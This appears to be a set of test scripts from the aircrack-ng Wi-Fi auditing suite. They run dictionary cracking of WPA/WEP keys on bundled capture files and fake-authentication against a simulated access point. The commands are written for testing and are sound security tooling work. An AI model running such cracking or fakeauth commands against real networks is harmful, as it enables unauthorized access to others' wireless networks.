-w "${abs_srcdir}/password.lst" \
-a 2 \
-e "${SSID}" \
-q \
"${AB_PCAP}" | \
${GREP} "KEY FOUND! \[ ${PSK} \]"
RET=$?
if [ ${RET} -eq 1 ]; then
echo "Failed cracking passphrase, PCAP: ${AB_PCAP}"
else
# Cleanup PCAP
rm -f "${AB_PCAP}"
fi
# Cleanup
exit ${RET} |
Shell Script | aircrack-ng/test/test-airbase-ng-0003.sh | #!/bin/sh
# Airbase-ng open, hidden SSID and auth with fakeauth (wrong ssid and then correct)
# Temporarily disable the test
exit 77
if test ! -z "${CI}"; then exit 77; fi
CHANNEL=1
SSID=thisrocks
# Load helper functions
. "${abs_builddir}/../test/int-test-common.sh"
# Check root
check_root
# Check all required tools are installed
check_airmon_ng_deps_present
is_tool_present tcpdump
# Check for interfering processes
airmon_ng_check
# Cleanup
finish() {
if [ -n "${AB_PID}" ]; then
is_pid_running "${AB_PID}"
[ $? -eq 1 ] && kill -9 "${AB_PID}"
fi
[ -n "${AB_TEMP}" ] && rm -f "${AB_TEMP}"
cleanup
}
trap finish INT QUIT SEGV PIPE ALRM TERM EXIT
# Load mac80211_hwsim
load_module 2
# Check there are two radios
check_radios_present 2
# Get interfaces names
get_hwsim_interface_name 1
WI_IFACE=${IFACE}
get_hwsim_interface_name 2
WI_IFACE2=${IFACE}
# Put other interface in monitor mode
set_monitor_mode "${WI_IFACE2}"
[ $? -eq 1 ] && exit 1
set_interface_channel "${WI_IFACE2}" ${CHANNEL}
[ $? -eq 1 ] && exit 1
# Run airbase-ng in the background
AB_TEMP=$(mktemp -u)
"${abs_builddir}/../airbase-ng${EXEEXT}" \
-X \
-c ${CHANNEL} \
-e "${SSID}" \
"${WI_IFACE2}" \
2>&1 >"${AB_TEMP}" \
&
AB_PID=$!
sleep 1
is_pid_running ${AB_PID}
if [ $? -eq 0 ]; then
echo "Airbase-ng process died"
exit 1
fi
# Get airbase-ng PCAP
AB_PCAP="$(${GREP} 'Created capture file' "${AB_TEMP}" | ${AWK} -F\" '{print $2}')"
# Set interface in monitor mode
set_monitor_mode "${WI_IFACE}"
[ $? -eq 1 ] && exit 1
set_interface_channel "${WI_IFACE}" ${CHANNEL}
[ $? -eq 1 ] && exit 1
# Capture a beacon to check if it contains an SSID
BEACON="$(tcpdump -c 1 -i "${WI_IFACE}" 2>/dev/null | grep Beacon)"
if [ -z "${BEACON}" ]; then
echo "Did not receive a beacon"
exit 1
fi
echo "${BEACON}"
if [ "$(echo "${BEACON}" | grep "Beacon (${SSID})" | wc -l)" -eq 1 ]; then
echo "SSID is not hidden"
exit 1
fi
# Start aireplay-ng fakeauth with wrong ssid
"${abs_builddir}/../aireplay-ng${EXEEXT}" \
--fakeauth 0 \
--essid "${SSID}asdf" \
"${WI_IFACE}"
if [ $? -eq 1 ]; then
# Should have failed
echo "Fakeauth succeeded when it should have failed"
exit 1
fi
# Start aireplay-ng fakeauth with correct ssid
"${abs_builddir}/../aireplay-ng${EXEEXT}" \
--fakeauth 0 \
--essid "${SSID}asdf" \
"${WI_IFACE}"
if [ $? -eq 0 ]; then
echo "Fakeauth failed"
exit 1
fi
# wait another 2 secs for packets to be written
sleep 2
# Check Airbase-ng output
CLIENT_CONNECT=$(${GREP} Client "${AB_TEMP}" | ${GREP} "${ENCRYPT}" | wc -l)
if [ "${CLIENT_CONNECT}" -eq 0 ]; then
echo "Client failed to connect to AP - possibly incorrect encryption"
exit 1
fi
# Crack the capture
timeout 60 "${abs_builddir}/../aircrack-ng${EXEEXT}" \
${AIRCRACK_NG_ARGS} \
-w "${abs_srcdir}/password.lst" \
-a 2 \
-e "${SSID}" \
-q \
"${AB_PCAP}" | \
${GREP} "KEY FOUND! \[ ${PSK} \]"
RET=$?
# Display message in case of failure
[ ${RET} -eq 1 ] && echo "Failed cracking passphrase"
exit ${RET} |
Shell Script | aircrack-ng/test/test-aircrack-ng-0001.sh | #!/bin/sh
set -ef
"${abs_builddir}/../aircrack-ng${EXEEXT}" \
${AIRCRACK_NG_ARGS} \
-w "${abs_srcdir}/password.lst" \
-a 2 \
-e Harkonen \
-q "${abs_srcdir}/wpa2.eapol.cap" | \
${GREP} 'KEY FOUND! \[ 12345678 \]'
exit 0 |
Shell Script | aircrack-ng/test/test-aircrack-ng-0002.sh | #!/bin/sh
set -ef
"${abs_builddir}/../aircrack-ng${EXEEXT}" \
${AIRCRACK_NG_ARGS} \
-w "${abs_srcdir}/password.lst" \
-a 2 \
-e test \
-q "${abs_srcdir}/wpa.cap" | \
${GREP} 'KEY FOUND! \[ biscotte \]'
exit 0 |
Shell Script | aircrack-ng/test/test-aircrack-ng-0003.sh | #!/bin/sh
set -ef
"${abs_builddir}/../aircrack-ng${EXEEXT}" \
${AIRCRACK_NG_ARGS} \
-w "${abs_srcdir}/password.lst" \
-a 2 \
-e linksys \
-q "${abs_srcdir}/wpa2-psk-linksys.cap" | \
${GREP} 'KEY FOUND! \[ dictionary \]'
exit 0 |
Shell Script | aircrack-ng/test/test-aircrack-ng-0004.sh | #!/bin/sh
set -ef
"${abs_builddir}/../aircrack-ng${EXEEXT}" \
${AIRCRACK_NG_ARGS} \
-w "${abs_srcdir}/password.lst" \
-a 2 \
-e linksys \
-q "${abs_srcdir}/wpa-psk-linksys.cap" | \
${GREP} 'KEY FOUND! \[ dictionary \]'
exit 0 |
Shell Script | aircrack-ng/test/test-aircrack-ng-0005.sh | #!/bin/sh
set -ef
"${abs_builddir}/../aircrack-ng${EXEEXT}" \
${AIRCRACK_NG_ARGS} \
--oneshot \
"${abs_srcdir}/wep_64_ptw.cap" \
-l /dev/null | \
${GREP} "KEY FOUND" | ${GREP} "1F:1F:1F:1F:1F"
exit 0 |
Shell Script | aircrack-ng/test/test-aircrack-ng-0006.sh | #!/bin/sh
set -ef
echo "asciipsk" > ${abs_builddir}/1word
cat > ${abs_builddir}/session << EOF
${abs_builddir}
00:0D:93:EB:B0:8C
1 0 0
4
${top_builddir}/src/aircrack-ng${EXEEXT}
${abs_srcdir}/wpa.cap
-w
${abs_builddir}/1word,${abs_srcdir}/password.lst
EOF
"${abs_builddir}/../aircrack-ng${EXEEXT}" \
-R ${abs_builddir}/session | \
${GREP} 'KEY FOUND! \[ biscotte \]'
rm -f ${abs_builddir}/1word
if [ -f ${abs_builddir}/session ]; then
rm ${abs_builddir}/session
fi
exit 0 |
Shell Script | aircrack-ng/test/test-aircrack-ng-0007.sh | #!/bin/sh
set -ef
"${abs_builddir}/../aircrack-ng${EXEEXT}" \
${AIRCRACK_NG_ARGS} \
-w "${abs_srcdir}/password-2.lst" \
-a 3 \
-e Neheb \
-q "${abs_srcdir}/n-02.cap" | \
${GREP} 'KEY FOUND! \[ bo$$password \]' || \
echo 'SKIP: CMAC may be missing.'
exit 0 |
Shell Script | aircrack-ng/test/test-aircrack-ng-0008.sh | #!/bin/sh
set -ef
"${abs_builddir}/../aircrack-ng${EXEEXT}" \
${AIRCRACK_NG_ARGS} \
-w "${abs_srcdir}/password.lst" \
-a 2 \
-e test \
-q "${abs_srcdir}/n-02.cap" \
"${abs_srcdir}/wep_64_ptw.cap" \
"${abs_srcdir}/wep.open.system.authentication.cap" \
"${abs_srcdir}/wep.shared.key.authentication.cap" \
"${abs_srcdir}/wpa2.eapol.cap" \
"${abs_srcdir}/wpa2-psk-linksys.cap" \
"${abs_srcdir}/wpa.cap" \
"${abs_srcdir}/wpa-psk-linksys.cap" \
"${abs_srcdir}/Chinese-SSID-Name.pcap" \
"${abs_srcdir}/wpaclean_crash.pcap" \
"${abs_srcdir}/wps2.0.pcap" | \
${GREP} 'KEY FOUND! \[ biscotte \]'
exit 0 |
Shell Script | aircrack-ng/test/test-aircrack-ng-0009.sh | #!/bin/sh
set -ef
echo 1 | "${abs_builddir}/../aircrack-ng${EXEEXT}" \
${AIRCRACK_NG_ARGS} \
-w "${abs_srcdir}/password.lst" \
"${abs_srcdir}/wpa2.eapol.cap" \
"${abs_srcdir}/wps2.0.pcap" | \
${GREP} 'KEY FOUND! \[ 12345678 \]'
exit 0 |
Shell Script | aircrack-ng/test/test-aircrack-ng-0010.sh | #!/bin/sh
set -ef
#./aircrack-ng -X -K ./test.ivs
if test ! -z "${CI}"; then exit 77; fi
"${abs_builddir}/../aircrack-ng${EXEEXT}" \
${AIRCRACK_NG_ARGS} \
-X -K \
"${abs_srcdir}/test.ivs" \
-l /dev/null | \
${GREP} "KEY FOUND" | ${GREP} "AE:5B:7F:3A:03:D0:AF:9B:F6:8D:A5:E2:C7"
exit 0 |
Shell Script | aircrack-ng/test/test-aircrack-ng-0011.sh | #!/bin/sh
set -ef
if test ! -z "${CI}"; then exit 77; fi
"${abs_builddir}/../aircrack-ng${EXEEXT}" \
${AIRCRACK_NG_ARGS} \
-b 00:11:95:91:78:8C \
-K \
"${abs_srcdir}/test.ivs" \
-l /dev/null | \
${GREP} "KEY FOUND" | ${GREP} "AE:5B:7F:3A:03:D0:AF:9B:F6:8D:A5:E2:C7"
exit 0 |
Shell Script | aircrack-ng/test/test-aircrack-ng-0012.sh | #!/bin/sh
set -ef
if test ! -z "${CI}"; then exit 77; fi
"${abs_builddir}/../aircrack-ng${EXEEXT}" \
${AIRCRACK_NG_ARGS} \
-K \
"${abs_srcdir}/test.ivs" \
-l /dev/null | \
${GREP} "KEY FOUND" | ${GREP} "AE:5B:7F:3A:03:D0:AF:9B:F6:8D:A5:E2:C7"
exit 0 |
Shell Script | aircrack-ng/test/test-aircrack-ng-0013.sh | #!/bin/sh
set -ef
# if test ! -z "${CI}"; then exit 77; fi
"${abs_builddir}/../aircrack-ng${EXEEXT}" \
${AIRCRACK_NG_ARGS} \
-b 28:10:7B:94:BB:29 \
-w "${abs_srcdir}/password-3.lst" \
-a 2 \
"${abs_srcdir}/test1.pcap" \
-l /dev/null -q | \
${GREP} "KEY FOUND" | ${GREP} "15211521"
exit 0 |
Shell Script | aircrack-ng/test/test-aircrack-ng-0014.sh | #!/bin/sh
set -ef
# if test ! -z "${CI}"; then exit 77; fi
"${abs_builddir}/../aircrack-ng${EXEEXT}" \
${AIRCRACK_NG_ARGS} \
-b 00:12:BF:77:16:2D \
-w "${abs_srcdir}/password-3.lst" \
-a 2 \
"${abs_srcdir}/test-pmkid.pcap" \
-l /dev/null -q | \
${GREP} "KEY FOUND" | ${GREP} "SP-91862D361"
exit 0 |
Shell Script | aircrack-ng/test/test-aircrack-ng-0015.sh | #!/bin/sh
set -ef
echo "staytogether" | "${abs_builddir}/../aircrack-ng${EXEEXT}" \
${AIRCRACK_NG_ARGS} \
-e "Stay Alfred" \
-w - \
"${abs_srcdir}/StayAlfred.hccapx" \
-l /dev/null | \
${GREP} "KEY FOUND"
exit 0 |
Shell Script | aircrack-ng/test/test-aircrack-ng-0016.sh | #!/bin/sh
set -ef
# Turn our pcap into a hccapx
"${abs_builddir}/../aircrack-ng${EXEEXT}" \
${AIRCRACK_NG_ARGS} \
-j "test" \
-e "linksys" \
"${abs_srcdir}/wpa2-psk-linksys.cap"
# Make sure we can load it and solve it
echo "dictionary" | "${abs_builddir}/../aircrack-ng${EXEEXT}" \
${AIRCRACK_NG_ARGS} \
-e "linksys" \
-w - \
"test.hccapx" \
-l /dev/null | \
${GREP} "KEY FOUND"
rm -f test.hccapx
exit 0 |
Shell Script | aircrack-ng/test/test-aircrack-ng-0017.sh | #!/bin/sh
set -ef
# Turn our pcap into a hccap
"${abs_builddir}/../aircrack-ng${EXEEXT}" \
${AIRCRACK_NG_ARGS} \
-J "test" \
-e "linksys" \
"${abs_srcdir}/wpa2-psk-linksys.cap"
# Make sure we can load it and solve it
# NOTE: We can't load a HCCAP file. Mostly because it doesn't have a magic number
#echo "dictionary" | "${abs_builddir}/../aircrack-ng${EXEEXT}" \
# ${AIRCRACK_NG_ARGS} \
# -e "linksys" \
# -w - \
# "test.hccap" \
# -l /dev/null | \
# ${GREP} "KEY FOUND"
rm -f test.hccap
exit 0 |